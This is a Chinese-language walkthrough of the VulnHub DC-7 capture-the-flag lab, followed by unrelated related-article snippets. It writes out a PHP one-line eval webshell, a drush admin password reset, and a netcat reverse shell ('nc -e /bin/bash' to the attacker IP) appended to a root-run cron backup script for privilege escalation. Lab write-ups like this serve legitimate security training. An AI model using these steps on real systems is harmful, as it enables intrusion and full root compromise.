DC-7

靶机介绍

  靶机下载地址:https://download.vulnhub.com/dc/DC-7.zip

环境搭建

  下载之后,解压,使用vmware导入或者virtualbox导入都可以,但注意要保证与你的攻击机在同一网段下,vmware要使用最新版

  kali攻击机:192.168.98.136

靶机渗透

信息收集

扫描主机

image

  靶机ip:192.168.98.145

扫描端口

  ‍

image

  22端口和80端口开放

  爆破一下ssh:

nmap --script=ssh-brute 192.168.98.145

image

  爆破失败了

  查看80端口进行进一步信息的探测CMS是Drupal8,而且告诉我们不是暴力破解

image

  尝试了msf中的漏洞不行exploit-db中根据版本来也不行

  提示应该是要我们去外部搜索下信息,百度搜索这个dc7user,然后发现了github,然后找到了源码github源码地址

image

  在config.php中发现了连接数据库的账号密码,尝试使用ssh连接,可以看到爆破前面爆破账号密码失败

<?php$servername = "localhost";$username = "dc7user";$password = "MdR3xOgB7#dW";$dbname = "Staff";$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

image

  当我拿这个账号密码连接数据库失败了。。。

指纹识别

image

  ​drupal​CMS

目录扫描

image

  没什么好东西

  ‍

漏洞挖掘

ssh登录

ssh dc7user@192.168.98.145 
# 密码
MdR3xOgB7#dW

  ssh 成功登录dc7user​账户

image

drush​修改密码登录后台

  目录下有一个mbox文件,打开看看:

image

image

  一封邮件,重点捕捉文件:/opt/scripts/backups.sh

  接着查看这个backups.sh文件:

image

  是一个备份程序,查看一下这个程序的权限:

image

  看一下权限www-data和root都是有权限的

  如果我们获得www-data的权限向这个脚本执行任务,那么我们就可以反弹root权限,因为会以root权限定时启动

  看着这个备份脚本可以发现是一个drush配置的命令,它可以改变用户名密码

drush sql-dump --result-file=/home/dc7user/backups/website.sql

  所以尝试修改一下密码

cd /var/www/html
drush user-password admin --password="123456"

  补充:

  ​drush​ 是一个命令行工具,特别为 Drupal 内容管理系统设计,用于执行各种管理和开发任务。在 Drupal 社区中,Drush 是一个非常流行的工具,因为它可以简化许多常见的 Drupal 任务。

  命令 drush user-password admin --password="123456"​ 用于通过 Drush 工具更改 Drupal 系统中管理员账户的密码。

  成功更改:

image

  尝试用 admin 123456 账号密码登录:

image

  成功登录:

image

Getshell

  • 在Content—>Add content-->Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码。

  • 百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入

  • PHP介绍页面如下,模块包下载地址附上

    https://www.drupal.org/project/php
    https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
    

  发现这个位置是支持扩展的,所以我们想要创建一个webshell可以借助插件,看wp要去下载一个php的插件

image

  将链接填入,点击安装:

image

  成功安装页面:

image

  点击:

image

  把这个勾上:

image

  往下滑到最后,点击安装:

image

  到这就可以了:

image

  回到home,点击edit编辑,直接写入一句话木马

image

  写入一句话后门,保存为php格式:

<?php
@eval($_POST[pass]);
?>

image

  蚁剑成功连接:

image

  获取www-data权限

image

  使用nc反弹shell:

image

定时任务文件写入提权

  由于我们上一步骤已经得到了backups.sh脚本属主为root,属组为www-data,所以我们将反弹shell命令添加到脚本当中,等待执行脚本反弹shell即可得到root权限

//将反弹shell命令追加到文件当中,或者在webshell当中的文件管理直接写入
echo "nc -e /bin/bash 192.168.98.136 5577" >> backups.sh

  成功写入:

image

  直接等待计划任务执行即可:(你自己手动执行只会反弹www-data权限,并不会有root权限,所以必须要等待计划任务自动执行,可能需要个好几分钟!)

  ‍

  成功收到shell:

image

拿下flag

  寻找flag:

image

  读取flag文件:

image

总结

  1. Github泄露网站数据库配置信息导致泄露SSH账号密码
  2. Drupal利用drush重置网站管理员密码
  3. 网站写入php一句话木马Getshell
  4. 定时任务文件写入恶意代码进行提权

  ‍

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/784582.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Back-off restarting failed container

修改 为下面 可以询问gpt要到正确配置

Failed to create pod sandbox: rpc error: code = Unknown desc = [failed to set up sandbox container “

报错信息 Warning FailedCreatePodSandBox 28m kubelet Failed to create pod sandbox: rpc error: code = Unknown desc = [failed to set up sandbox container "899b2a80f185eadd9ea231a8991ce5e9d92076cab46917b1e5653f333561df03" network for pod "nginx-…

Nginx静态服务

**Nginx****静态服务 1.****静态资源类型 Nginx 作为静态资源 Web 服务器部署配置, 传输⾮常的⾼效, 常常⽤于静态资源处理, 请求, 动静分离 图⽚压缩案例server {listen 80;server_name static.zgw.top;root /soft/code/image;index index.html index.htm ;sendfile on;access…

BST 二叉搜索树 BinarySearchTree C++实现(递归/非递归)

目录二叉搜索树基本概念常用结论用途二叉搜索树的性能分析二叉搜索树的操作查找插入删除代码实现BSTree.hpptest.cc 二叉搜索树 基本概念 二叉搜索树(BST,Binary Search Tree) 二叉搜索树又称二叉排序树,它或者是一棵空树,或者是具有以下性质的二叉树:若它的左子树不为空,则…

当SOA遇到DDD

本文讨论软件设计中的决策,特别是关于将较大的系统拆分为多个可独立部署的服务端点。不会特别讨论【服务端点设计】,但我想探讨一下为创建多个服务应用程序进行构思的阶段。 面对复杂问题,通常试图理解复杂性的各部分。将问题拆解为更易于理解和处理的小模块,可以更有效地应…

priority_queue

priority_queue priority_queue 容器适配器定义了一个元素有序排列的队列。默认队列头部的元素优先级最高。因为它是一个队列,所以只能访问第一个元素,这也意味着优先级最高的元素总是第一个被处理。 priority_queue 模板有 3 个参数,其中两个有默认的参数;第一个参数是存储…

几个场景下用flink如何解决的思考

车辆GPS流和车辆过地磅重量流union,地磅数据最多晚到5天 使用allowedLateness(5d)可以让窗户等待5天再关闭。 1、第二天flink任务重启了,迟到数据还能处理吗?2、大部分车辆都没有称重数据,如何提前关闭这些窗口,避免过多浪费内存设置allowedLateness(5d) 对于没有称重数据…

Mysql从指定位置截取字符串

在实际的项目开发中有时会有对数据库某字段截取部分的需求,这种场景有时直接通过数据库操作来实现比通过代码实现要更方便快捷些,mysql有很多字符串函数可以用来处理这些需求,如Mysql字符串截取总结:left()、right()、substring()、substring_index()。 一.从左开始截取字符…

数据可视化大屏的安全入口:高效登录与入口界面的关键设计(AxureRP原型)

在数据可视化项目中,登录界面和入口界面起着至关重要的作用。登录界面不仅是用户访问系统的第一个接触点,更是确保系统安全性的重要防线。通过有效的身份验证机制,它能够防止未经授权的用户访问敏感数据,保护数据的完整性和隐私。此外,登录界面还承担着展示品牌形象、提升…

RabbitMQ 基础概念与架构设计及工作机制学习总结

什么是RabbitMQ MQ全称为Message Queue,即消息队列. 它也是一个队列,遵循FIFO原则 。RabbitMQ则是一个开源的消息中间件,由erlang语言开发,基于AMQP协议实现的一个软件产品,提供应用程序之间的通信方法,在分布式系统开发中广泛应用。 AMQP协议 AMQP,即Advanced Message …

拖拽式报表设计器优点好 实现流程化办公就靠它!

您知道拖拽式报表设计器的优点是什么吗?当前,实现流程化办公是很多企业都想要实现的目标。利用低代码技术平台、拖拽式报表设计器的优势特点,可以为企业降低开发成本、提升办公效率、创造更多市场价值。那么,您知道拖拽式报表设计器的优点是什么吗?通过本文一起了解拖拽式…

ESP-WROOM32编译带LVGL的MicroPython | lv_micropython for ESP32

ESP-WROOM32编译带LVGL的MicroPython | lv_micropython for ESP32 有关 LVGL 和 MicroPython 的详细信息,请访问以下链接:lv_micropython GitHub 仓库 ESP32 端口目录说明 lv_micropython已经包含了这些驱动程序:lv_micropython 最大支持到 v4.4 版本,因此需要下载 esp-idf…